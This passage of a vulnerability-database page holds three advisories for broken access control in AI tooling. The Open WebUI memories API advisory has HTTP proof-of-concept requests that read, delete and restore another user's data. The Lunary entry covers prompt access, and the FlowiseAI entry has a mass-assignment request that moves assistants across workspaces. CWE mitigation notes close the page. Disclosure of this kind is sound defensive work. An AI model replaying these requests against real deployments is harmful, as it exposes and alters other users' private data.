Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:22:01 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0
access-control-allow-origin: *
access-control-allow-credentials: true

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]}

PoC 2

Example showing excess output about a memory a user has no access to modify

POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 18:53:37 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616}

PoC 3

Example showing a memory being deleted then restored by a different user than its owner

DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Connection: keep-alive

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:31:19 GMT
server: uvicorn
content-length: 4
content-type: application/json
x-process-time: 0

true

POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:32:31 GMT
server: uvicorn
content-length: 63
content-type: application/json
x-process-time: 0

{"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]}

POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:33:05 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616}

POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:33:34 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]}

Impact

Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:25:49Z",
    "nvd_published_at": "2026-05-15T22:16:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAuthorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users\u0027 memories.\n\n\n### Details\n\nUsing a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users.\n\nSimilarly, even if a non-admin user cannot modify another user\u0027s memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint\u0027s response improperly leaks the content of that memory if a valid memory_id is known.\n\nThe `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again.\n\n### PoC 1\n\n**Example of a user with no memories able to query an existing memory from another user**\n\n```\nGET /api/v1/memories/ HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 0\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:19:58 GMT\nserver: uvicorn\ncontent-length: 2\ncontent-type: application/json\nx-process-time: 0\n\n[]\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:22:01 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\naccess-control-allow-origin: *\naccess-control-allow-credentials: true\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### PoC 2\n\n**Example showing excess output about a memory a user has no access to modify**\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 18:53:37 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n### PoC 3\n\n**Example showing a memory being deleted then restored by a different user than its owner**\n\n```\nDELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nConnection: keep-alive\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:31:19 GMT\nserver: uvicorn\ncontent-length: 4\ncontent-type: application/json\nx-process-time: 0\n\ntrue\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:32:31 GMT\nserver: uvicorn\ncontent-length: 63\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[]],\"documents\":[[]],\"metadatas\":[[]],\"distances\":[[]]}\n```\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:05 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:34 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### Impact\n\nPotential disclosure of sensitive data stored within a user\u0027s memories. Disclosure of unique user ID values to non-admins when viewing a memory.",
  "id": "GHSA-hmjq-crxp-7rjw",
  "modified": "2026-05-19T15:57:47Z",
  "published": "2026-05-11T14:25:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hmjq-crxp-7rjw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44570"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has inconsistent authorization controls within memories API"
}

GHSA-HMV7-P2F3-V8FP

Vulnerability from github – Published: 2024-05-20 15:31 – Updated: 2025-01-31 12:33
VLAI
Details

An Improper Access Control vulnerability exists in lunary-ai/lunary version 1.2.2, where users can view and update any prompts in any projects due to insufficient access control checks in the handling of PATCH and GET requests for template versions. This vulnerability allows unauthorized users to manipulate or access sensitive project data, potentially leading to data integrity and confidentiality issues.

Severity
8.3 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-4151"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-20T15:15:08Z",
    "severity": "HIGH"
  },
  "details": "An Improper Access Control vulnerability exists in lunary-ai/lunary version 1.2.2, where users can view and update any prompts in any projects due to insufficient access control checks in the handling of PATCH and GET requests for template versions. This vulnerability allows unauthorized users to manipulate or access sensitive project data, potentially leading to data integrity and confidentiality issues.",
  "id": "GHSA-hmv7-p2f3-v8fp",
  "modified": "2025-01-31T12:33:01Z",
  "published": "2024-05-20T15:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lunary-ai/lunary/commit/ddfd497afd017a6946c582a1a806687fdac888bf"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/4acfef85-dedf-43bd-8438-0d8aaa4ffa01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HP26-Q66V-Q2W7

Vulnerability from github – Published: 2026-05-14 14:57 – Updated: 2026-06-09 13:10
VLAI
Summary
FlowiseAI has Mass Assignment in Assistant Update Endpoint that Allows Cross-Workspace Resource Reassignment
Details

Summary

A Mass Assignment vulnerability exists in the assistant update endpoint of FlowiseAI.

The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating an assistant resource.

Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign assistants to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.

Details

The endpoint responsible for updating assistants:

PUT /api/v1/assistants/{assistantId}

accepts a JSON request body containing assistant metadata.

However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.

Server-controlled fields that can be manipulated include:

  1. workspaceId
  2. createdDate
  3. updatedDate

These fields appear to be directly mapped to the underlying database entity without strict DTO whitelisting or authorization checks.

For example, the following request body was accepted:

{
  "details": "",
  "credential": "11ca7fef-c9b1-4c87-aa54-e547aed8a249",
  "iconSrc": null,
  "type": "CUSTOM",
  "createdDate": "2026-03-06T17:31:04.000Z",
  "updatedDate": "2026-03-06T17:31:55.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

This indicates that internal, server-controlled properties can be modified by an authenticated user.

PoC

  1. Authenticate to the Flowise interface.
  2. Capture the request used to update an assistant:
PUT /api/v1/assistants/<ASSISTANT_ID>
Content-Type: application/json

Modify the request body by injecting server-controlled fields:

{
  "details": "",
  "credential": "11ca7fef-c9b1-4c87-aa54-e547aed8a249",
  "iconSrc": null,
  "type": "CUSTOM",
  "createdDate": "2026-03-06T17:31:04.000Z",
  "updatedDate": "2026-03-06T17:31:55.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

3.Send the request.

Observe that the response accepts and persists the attacker-controlled workspaceId and metadata fields.

Impact

This vulnerability allows authenticated users to manipulate internal attributes of assistant resources.

Confirmed impacts include:

  • Cross-workspace reassignment of assistants (workspaceId)
  • Unauthorized modification of metadata (createdDate, updatedDate)

In multi-tenant deployments, this may allow an attacker to move assistants between workspaces without authorization, breaking tenant isolation boundaries.

Severity
7.6 (High)
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T14:57:46Z",
    "nvd_published_at": "2026-06-08T16:16:41Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Mass Assignment vulnerability exists in the assistant update endpoint of FlowiseAI.\n\nThe endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating an assistant resource.\n\nDue to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign assistants to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.\n\n### Details\nThe endpoint responsible for updating assistants:\n\n**PUT /api/v1/assistants/{assistantId}**\n\naccepts a JSON request body containing assistant metadata.\n\nHowever, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.\n\nServer-controlled fields that can be manipulated include:\n\n1. workspaceId\n2. createdDate\n3. updatedDate\n\nThese fields appear to be directly mapped to the underlying database entity without strict DTO whitelisting or authorization checks.\n\nFor example, the following request body was accepted:\n\n```json\n{\n  \"details\": \"\",\n  \"credential\": \"11ca7fef-c9b1-4c87-aa54-e547aed8a249\",\n  \"iconSrc\": null,\n  \"type\": \"CUSTOM\",\n  \"createdDate\": \"2026-03-06T17:31:04.000Z\",\n  \"updatedDate\": \"2026-03-06T17:31:55.000Z\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\nThis indicates that internal, server-controlled properties can be modified by an authenticated user.\n\n### PoC\n\n1. Authenticate to the Flowise interface.\n2. Capture the request used to update an assistant:\n\n```http\nPUT /api/v1/assistants/\u003cASSISTANT_ID\u003e\nContent-Type: application/json\n\nModify the request body by injecting server-controlled fields:\n\n{\n  \"details\": \"\",\n  \"credential\": \"11ca7fef-c9b1-4c87-aa54-e547aed8a249\",\n  \"iconSrc\": null,\n  \"type\": \"CUSTOM\",\n  \"createdDate\": \"2026-03-06T17:31:04.000Z\",\n  \"updatedDate\": \"2026-03-06T17:31:55.000Z\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n\n```\n3.Send the request.\n\nObserve that the response accepts and persists the attacker-controlled workspaceId and metadata fields.\n\n### Impact\nThis vulnerability allows authenticated users to manipulate internal attributes of assistant resources.\n\nConfirmed impacts include:\n\n- Cross-workspace reassignment of assistants (workspaceId)\n- Unauthorized modification of metadata (createdDate, updatedDate)\n\nIn multi-tenant deployments, this may allow an attacker to move assistants between workspaces without authorization, breaking tenant isolation boundaries.",
  "id": "GHSA-hp26-q66v-q2w7",
  "modified": "2026-06-09T13:10:13Z",
  "published": "2026-05-14T14:57:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hp26-q66v-q2w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46441"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FlowiseAI has Mass Assignment in Assistant Update Endpoint that Allows Cross-Workspace Resource Reassignment"
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list